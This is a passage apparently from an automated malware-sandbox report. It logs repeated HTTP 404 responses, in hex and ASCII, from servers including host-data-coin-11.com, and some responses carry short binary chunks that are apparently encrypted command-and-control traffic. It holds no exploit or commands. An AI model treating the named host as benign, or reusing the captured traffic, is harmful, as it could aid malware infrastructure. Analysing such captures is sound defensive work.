Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:50:49 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:50:49 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:50:50 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 64 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 13 49 3a 4a a6 e8 dd e6 f8 5f f5 4a 88 2d a0 57 53 98 00 e5 a7 2c f8 2f 0d 0a 30 0d 0a 0d 0a Data Ascii: 2dI:82OI:J_J-WS,/0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:50:51 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:50:51 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 47 ec aa 8c 70 bc 57 dd 43 de ff 21 81 22 e6 c3 95 50 28 e1 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9GpWC!"P(c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:50:53 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:50:54 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:50:54 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 37 0d 0a 02 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e d6 1e 52 25 40 a3 f5 c2 ea fb 5f f5 4d 8b 2d e4 04 08 c7 5c a5 ba 7a ae 2e 54 0a e3 f0 d8 4b fc 05 d4 43 0d 0a 30 0d 0a 0d 0a Data Ascii: 37I:82OR%@_M-\z.TKC0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:50:54 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 38 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d1 95 4f 11 6a 11 e9 eb 98 bd a5 1d b7 51 d8 6d a5 1b 46 9b 10 bc be 71 b0 64 56 11 b1 b6 d8 40 fa 0f 85 1d 87 aa 64 9a 66 b0 f3 ce 13 6b b7 e4 4b 35 a9 f2 e0 0d 0a 30 0d 0a 0d 0a Data Ascii: 48I:82OOjQmFqdV@dfkK50
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:50:57 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:50:57 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 65 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d4 89 4f 04 7e 02 fc a9 8d b6 e4 05 ab 0c 91 6b b9 45 4b 95 09 fd bc 67 e5 32 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 2eI:82OO~kEKg2P0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Fri, 14 Jan 2022 00:49:36 GMTContent-Type: text/htmlContent-Length: 178Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:50:57 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:50:58 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:50:58 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f6 e8 24 e5 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OR&:UPJ$dP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:51:01 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:51:02 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 